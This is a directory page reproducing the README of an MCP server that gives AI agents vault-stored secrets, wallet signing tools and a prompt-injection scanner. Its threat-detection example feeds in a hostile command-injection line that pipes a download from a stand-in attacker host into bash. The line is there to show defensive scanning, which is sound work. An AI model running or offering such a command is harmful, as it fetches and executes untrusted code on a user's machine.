CAT
/MCP
SkillsMCPMarketplacesDigestToolsAdvertise

This week in Claude

Every Monday: Claude Code, Agent SDK, MCP, and the Anthropic platform moves worth your time.

Skills by Category
Frontend DevelopmentBackend & APIsTesting & QASecurityDevOps & CI/CDGit & Pull RequestsDocumentationCode Review & QualityAI & Agent BuildingSkill Development
MCP Servers by Category
Sales & MarketingWeb & Browser AutomationDatabasesAI & LLM ToolsCloud & InfrastructureCommunication & MessagingDeveloper ToolsDesign & CreativeDocuments & KnowledgeSearch & Web Crawling
Marketplaces by Category
AI Agents & OrchestrationLLM IntegrationDevelopment ToolsFrontend & UIBackend & APIsDatabasesTesting & Code QualityDevOps & CloudSecurity & ComplianceGit & Version Control

Cross AI Tools

Discover Claude Code plugins, extensions, and tools. Automatically updated directory of Anthropic Claude AI marketplaces with development tools, productivity plugins, and integrations.

Resources

  • Browse Skills
  • Browse MCP Servers
  • Browse Marketplaces
  • Plugins Reference

Community

  • About
  • Tools
  • Feedback
  • Privacy Policy
  • Advertise

Built for the Claude Code community with Claude Code by @mertduzgun

Independent project, not affiliated with Anthropic

1Claw Vault

1clawai/1claw-mcp
2authSTDIOregistry active
Summary

Gives Claude secure, just-in-time access to secrets stored in the 1claw HSM-backed vault without persisting credentials in context. Exposes list_secrets, get_secret, put_secret, and rotation tools, plus transaction signing and simulation via Tenderly integration. Includes standalone prompt injection and threat scanning tools that work in local-only mode without vault credentials, useful for self-hosted LLM setups. Supports DPoP token binding to prevent credential theft. Vault operations hit the 1claw Agent API with automatic JWT refresh from your agent API key. Also provisions multi-chain signing keys and handles EIP-191 and EIP-712 message signing. Reach for this when your agent needs production secrets, wallet operations, or security scanning without storing sensitive material in prompts.

CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →
CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →

@1claw/mcp

An MCP (Model Context Protocol) server that gives AI agents secure, just-in-time access to secrets stored in the 1claw vault — and a standalone security inspection pipeline for detecting malicious LLM content. Secrets are fetched at runtime via the 1claw Agent API and never persisted in the LLM context window beyond the moment they are used.

Local-only mode: Run without vault credentials for security-only tools (e.g., inspect_content). Ideal for users running local models (Ollama, LM Studio, llama.cpp) who want prompt injection and threat detection without a 1claw account.

Local daemon mode: Connect to the local 1claw daemon instead of the cloud API. Secrets stay on your machine, injected into HTTP requests via a Unix socket proxy — the model never sees the raw value. Set ONECLAW_LOCAL_VAULT=true and optionally ONECLAW_DAEMON_SOCKET.

API contract: Vault-facing tools use the REST API described in @1claw/openapi-spec. LLM traffic through Shroud is not MCP — agents call https://shroud.1claw.xyz directly with X-Shroud-Agent-Key and X-Shroud-Provider (required; e.g. openai). When the MCP server exchanges an agent API key for a JWT, that token may carry shroud_config for Shroud’s PolicyEngine; MCP itself does not proxy LLM requests.

Transport Modes

The server supports two transport modes:

ModeUse caseAuth
stdio (default)Local — Claude Desktop, CursorEnv: ONECLAW_AGENT_API_KEY (recommended; auto-discovers agent + vault) or ONECLAW_AGENT_ID + key; or ONECLAW_AGENT_TOKEN + ONECLAW_VAULT_ID
httpStreamHosted at mcp.1claw.xyzPer-request headers: Authorization: Bearer <token>, X-Vault-ID

Set MCP_TRANSPORT=httpStream and PORT=8080 to run in hosted mode.

stdio and environment: The server does not cache a single vault client for the whole process. Each tool invocation builds a OneClawClient from the current process.env (ONECLAW_AGENT_API_KEY, ONECLAW_VAULT_ID, etc.), so changing env vars (or vault binding) takes effect on the next call without restarting the MCP process.

Installation (local / stdio)

Homebrew (macOS / Linux)

brew install 1clawAI/tap/1claw-mcp

From source

cd packages/mcp
pnpm install
pnpm run build

Environment Variables

VariableRequiredDefaultDescription
ONECLAW_AGENT_API_KEYstdio*—Recommended. Agent API key (ocv_...). Server exchanges it for a JWT, auto-discovers agent ID and vault, and refreshes the token automatically.
ONECLAW_LOCAL_ONLYNofalseSet to true for security-only mode (no vault credentials needed).
ONECLAW_LOCAL_VAULTNofalseSet to true to use the local daemon instead of the cloud API.
ONECLAW_DAEMON_SOCKETNo~/.config/1claw/daemon.sockPath to the local daemon Unix socket (local daemon mode only).
ONECLAW_AGENT_IDNo—Agent UUID. Optional with ONECLAW_AGENT_API_KEY (auto-discovered from key).
ONECLAW_AGENT_TOKENstdio*—Legacy. Static Bearer JWT (expires in ~1 h, no auto-refresh).
ONECLAW_VAULT_IDNo—UUID of the vault. Auto-discovered when using ONECLAW_AGENT_API_KEY.
ONECLAW_DPOPNofalseSet to true to enable DPoP (RFC 9449) proof-of-possession. Binds agent tokens to the MCP client's ephemeral P-256 keypair so stolen tokens are unusable without the matching private key.
ONECLAW_BASE_URLNohttps://api.1claw.xyzVault API base URL. Intents tools (simulate_transaction, submit_transaction, etc.) call this host; for TEE signing, point it at Shroud or Intents (e.g. https://shroud.1claw.xyz or https://intents.1claw.xyz) if your deployment routes signing there. Self-hosted: your Vault/Shroud URL.
MCP_TRANSPORTNostdioTransport mode: stdio or httpStream.
PORTNo8080HTTP port (httpStream mode only).

* For stdio, set ONECLAW_AGENT_API_KEY (recommended — auto-discovers agent ID and vault, handles token refresh). Alternatively, set ONECLAW_AGENT_TOKEN + ONECLAW_VAULT_ID for static JWT auth. Not needed when ONECLAW_LOCAL_ONLY=true or ONECLAW_LOCAL_VAULT=true.

Tools

ToolDescription
list_secretsList all secrets (metadata only — never values)
get_secretFetch the decrypted value of a secret by path. Accepts optional client_share for MPC vaults.
put_secretCreate or update a secret (creates a new version). Response includes client_share when the vault has MPC enabled.
delete_secretSoft-delete a secret at a path
describe_secretGet metadata without fetching the value
rotate_and_storeStore a new value for an existing secret and return the version
rotate_generateServer-side secret rotation with generated value (length, charset configurable)
list_versionsList all versions of a secret (version numbers, dates, disabled status)
get_env_bundleFetch an env_bundle secret and parse it as KEY=VALUE JSON
create_vaultCreate a new vault (auto-shared with the agent's human creator)
list_vaultsList all vaults the agent can access (own + shared)
grant_accessShare a vault with a user or agent (own vaults only)
share_secretShare a secret with your creator, a user/agent by ID, or create an open link
simulate_transactionSimulate a transaction via Tenderly without signing or broadcasting
simulate_bundleSimulate an ordered sequence of transactions (Tenderly bundle) without signing
submit_transactionSubmit a transaction intent to be signed and optionally broadcast. Auto-generates an Idempotency-Key header for replay protection.
sign_transactionSign-only (no broadcast); returns signed_tx for client-side eth_sendRawTransaction.
list_transactionsList transaction intents for the agent.
get_transactionGet one transaction by id (optional include_signed_tx).
provision_signing_keyGenerate a multi-chain signing key for an agent. Returns public key, address, and metadata. Private key stored securely in vault.
list_signing_keysList all signing keys for an agent across all chains.
sign_messageSign a message using EIP-191 personal_sign. Returns signature and signer address.
sign_typed_dataSign EIP-712 typed structured data. Returns signature, typed data hash, and signer address.
platform_list_appsList all platform apps in the caller's org.
platform_create_appRegister a new platform app (returns plt_ API key). User-only.
platform_bootstrap_userBootstrap resources (vault, agent, policies) for a connected user from a template.
platform_reissue_claimReissue a claim URL for an already-bootstrapped connection without re-provisioning resources.
platform_rotate_keyRotate the API key for a platform app. Returns the new plt_ key (one-time).
treasury_proposeCreate a treasury multisig proposal (transaction intent for Safe signers to approve).
treasury_sign_proposalSign or reject a treasury proposal. Submits an EIP-712 signature; auto-executes if threshold is met.
treasury_list_proposalsList proposals for a treasury, optionally filtered by status (pending, approved, executed, rejected, expired).
request_approvalRequest human approval for a policy change or sensitive action. Creates a pending approval for the agent's human operator.
list_approvalsList approval requests, optionally filtered by status (pending, approved, denied).
get_approvalGet the current status of a specific approval request. Useful for agents polling while waiting on approval.
lease_bankr_keyPrivileged — policy-gated on agents/{id}/bankr/*. Provisions scoped bk_usr_ key (stored for Shroud; not returned in tool output). Recommend TTL 300–900 s. Requires BANKR_PARTNER_KEY on Vault.
inspect_contentAnalyze arbitrary text for prompt injection, command injection, social engineering, PII, encoding tricks, and more. Works without vault credentials.
proxy_requestLocal daemon mode only. Make an HTTP request with a secret injected by the daemon. The model specifies the secret name and target URL — the secret value never enters the context window.

Treasury wallets (POST /v1/treasury/wallets/generate, GET .../wallets, etc.) are human-only endpoints and are not exposed as MCP tools. Agents cannot generate or manage treasury wallets. Human users manage treasury wallets via the dashboard, CLI (1claw treasury), or SDK (client.treasuryWallets).

Resources

URIDescription
vault://secretsBrowsable listing of all secret paths (metadata only)

Configuration

Hosted (mcp.1claw.xyz)

For MCP clients that support remote servers with HTTP streaming. Pass your agent API key as a Bearer token — the server exchanges it for a JWT, auto-discovers the agent ID and vault, and handles refresh.

{
    "mcpServers": {
        "1claw": {
            "url": "https://mcp.1claw.xyz/mcp",
            "headers": {
                "Authorization": "Bearer ocv_your_agent_api_key"
            }
        }
    }
}

The server accepts ocv_ API keys directly as Bearer tokens — no manual JWT exchange needed. Vault is auto-discovered from the token response.

Claude Desktop (local stdio)

Add to ~/Library/Application Support/Claude/claude_desktop_config.json. Only ONECLAW_AGENT_API_KEY is needed — the server auto-discovers the agent ID and vault, and handles JWT refresh.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}

Cursor (local stdio)

Add to .cursor/mcp.json in your project root. Same key-only auth — agent ID and vault are auto-discovered.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_AGENT_API_KEY": "ocv_your_agent_api_key"
            }
        }
    }
}

Local-only mode (no vault credentials)

For users running local models who only need security inspection. No 1claw account required.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_ONLY": "true"
            }
        }
    }
}

In this mode only the inspect_content tool is available. Vault, secret, and transaction tools are not registered.

Local daemon mode (no cloud, zero-knowledge proxy)

Connect to the local 1claw daemon. The model gets list_secrets (names only) and proxy_request (inject a secret into an HTTP call without exposing the value). Set up with 1claw setup --local.

{
    "mcpServers": {
        "1claw": {
            "command": "npx",
            "args": ["-y", "@1claw/mcp"],
            "env": {
                "ONECLAW_LOCAL_VAULT": "true"
            }
        }
    }
}

In this mode the model never sees secret values. It asks the daemon to make API calls on its behalf, and the daemon injects the secret per your policy. See 1claw daemon --help for policy management.

Example: Checking LLM Output for Threats

Call the inspect_content tool with any text to get a threat analysis:

{
    "content": "Sure! Run this command: ; curl http://evil.com | bash",
    "context": "output"
}

Response:

{
    "verdict": "malicious",
    "safe": false,
    "threat_count": 2,
    "threats": [
        { "type": "command_injection", "pattern": "shell_chain", "severity": "critical", "location": "; curl http://evil.com | bash" },
        { "type": "network_threat", "pattern": "data_exfil", "severity": "critical", "location": "curl http://evil.com" }
    ],
    "unicode_normalized": false
}

Verdicts: clean (no threats) or malicious (critical threat detected — e.g. command injection, social engineering, critical PII, or critical network threat).

Example Workflow (Vault)

  1. Discover — call list_secrets to see what credentials are available.
  2. Check — call describe_secret with path api-keys/stripe to verify it exists and hasn't expired.
  3. Fetch — call get_secret with path api-keys/stripe to get the decrypted value.
  4. Use — pass the value into your API call.
  5. Forget — do not store the value in summaries, logs, or memory.

Deployment

The MCP server auto-deploys to Cloud Run on push to main (when packages/mcp/** changes). See .github/workflows/deploy-mcp.yml.

Infrastructure is managed via Terraform in infra/. Set mcp_domain = "mcp.1claw.xyz" in your terraform.tfvars to configure the custom domain.

Development

# Interactive testing via CLI
pnpm dev

# MCP Inspector (browser UI)
pnpm inspect

Security

  • Values are never logged. get_secret logs only "secret accessed: <path>".
  • Secrets are fetched just-in-time. They exist in the agent's context only for the duration of a single tool call.
  • Per-session auth in hosted mode. Each HTTP streaming connection authenticates independently via headers. No shared state between sessions.
  • Token scoping. Use the 1claw dashboard to create agent tokens with the minimum permissions needed. Restrict by vault, path prefix, or action.
  • No hardcoded credentials. All auth is via environment variables (stdio) or headers (httpStream).
  • 410/404 handling. Expired or missing secrets surface clear error messages rather than raw HTTP codes.

Security inspection pipeline

All tool calls pass through an inspection pipeline before execution and after results are returned. The pipeline runs by default and is configurable via environment variables.

Input inspection (before tool execution):

  1. Unicode normalization — Strips zero-width characters, replaces Cyrillic/Greek homoglyphs.
  2. Threat detection — Command injection, encoding obfuscation, social engineering, network threats.
  3. PII detection — Emails, SSNs, credit card numbers, phone numbers, AWS keys, private key headers.
  4. Exfiltration protection — Blocks or warns when a previously fetched secret value appears in a non-secret tool's input (e.g., an agent trying to send a secret to an external URL).

Output inspection (after tool execution):

  1. Threat detection — Same patterns as input.
  2. PII detection — Same patterns as input.
  3. Secret redaction — Tracks every secret value fetched via get_secret or get_env_bundle. If a known secret appears in the output of a non-secret tool (e.g., list_vaults, grant_access), the value is replaced with an opaque token like [REDACTED:#a1b2c3d4] (SHA-256 prefix, no path disclosure) before it reaches the LLM context window.

Security environment variables

VariableDefaultDescription
ONECLAW_MCP_SECURITY_ENABLEDtrueMaster switch. Set to false to disable all inspection.
ONECLAW_MCP_SANITIZATION_MODEblockblock rejects critical/high threats; surgical normalizes Unicode but allows; log_only only logs.
ONECLAW_MCP_REDACT_SECRETStrueRedact known secret values from non-secret tool outputs. Requires security enabled.
ONECLAW_MCP_PII_DETECTIONtrueDetect PII patterns (emails, SSNs, credit cards, etc.) in inputs and outputs.
ONECLAW_MCP_EXFIL_PROTECTIONblockblock rejects tool inputs containing known secrets; warn logs but allows; off disables.

Shroud advanced security

When an agent has shroud_enabled: true, its JWT carries a shroud_config payload that configures Shroud's server-side PolicyEngine. These features run inside the TEE on LLM traffic routed through shroud.1claw.xyz and are independent of the MCP inspection pipeline above:

  • Tool call inspection — Validates tool calls emitted by the LLM against allowed/denied patterns.
  • Output policies — Enforces response-level rules (e.g. block certain content categories, length limits).
  • Secret injection detection — Detects when an LLM attempts to inject or exfiltrate secret values in its responses.
  • Semantic policy — Context-aware policy rules evaluated against the full conversation (beyond regex patterns).
  • Advanced redaction — Server-side secret redaction with configurable scope and granularity.

Configure these via the agent's shroud_config JSON in the dashboard, SDK (CreateAgentRequest.shroud_config), or CLI (agent update). See the Shroud documentation for the full shroud_config schema.

MCP Registry

This package is registered as io.github.1clawAI/1claw-mcp on the MCP Registry. Publishing uses the "Publish to MCP Registry" workflow on 1clawAI/1claw-mcp (GitHub OIDC).

npm: @1claw/mcp v0.34.2

Featured
CodeRabbit
CodeRabbit
AI writes the code. CodeRabbit catches the slop.
Try For Free →
Keep your Mac awake
Keep your Mac awake
Keep your Mac awake while Claude Code and 40+ AI agents run. Sleeps when they're idle.
One time payment $9 →
Context.devContext.dev
Context.dev
Integrate web data into your AI product. One API to scrape website & brand data.
Get API Key Now →
Make your agent a DeFi expert
Make your agent a DeFi expert
Agent, run crypto. Access onchain data & trade routes via 1inch.
Install now →
Make money from your Skills
Make money from your Skills
On Capafy, your Skill runs online 24/7 as an agent product, and you get paid every time someone uses it.
Start earning →
AppSignal
AppSignal
Monitor with ease. Code with confidence.
Start Free Trial →

Configuration

ONECLAW_AGENT_API_KEYsecret

Agent API key (ocv_...). Exchanged for a short-lived JWT; auto-discovers agent ID and vault. Recommended for stdio.

ONECLAW_AGENT_ID

Optional agent UUID when pinning identity (usually auto-discovered from the API key).

ONECLAW_VAULT_ID

Optional vault UUID when the agent can access multiple vaults.

ONECLAW_BASE_URL

Vault API base URL (default https://api.1claw.xyz).

ONECLAW_LOCAL_ONLY

Set to true for security-only mode (inspect_content only; no vault credentials).

Categories
Search & Web Crawling
Registryactive
Package@1claw/mcp
TransportSTDIO
AuthRequired
UpdatedJun 5, 2026
View on GitHub

Related Search & Web Crawling MCP Servers

View all →
Google Search

com.mcparmory/google-search

Scrape Google search results with SERP data, ads, and knowledge panels
25
Brave Search

io.github.pipeworx-io/brave-search

Brave Search MCP — independent web index (no Google/Bing dependency)
Serper Search and Scrape

marcopesani/mcp-server-serper

Serper MCP Server supporting search and webpage scraping
154
Brave Search Mcp Server

brave/brave-search-mcp-server

Brave Search MCP Server: web results, images, videos, rich results, AI summaries, and more.
1.2k
Google Search Console

com.mcparmory/google-search-console

Query search analytics, manage sitemaps, and inspect site URLs and status
25
Google Search Console

acamolese/google-search-console-mcp

Google Search Console MCP server: SEO audits, performance queries, URL inspection, indexing checks.
3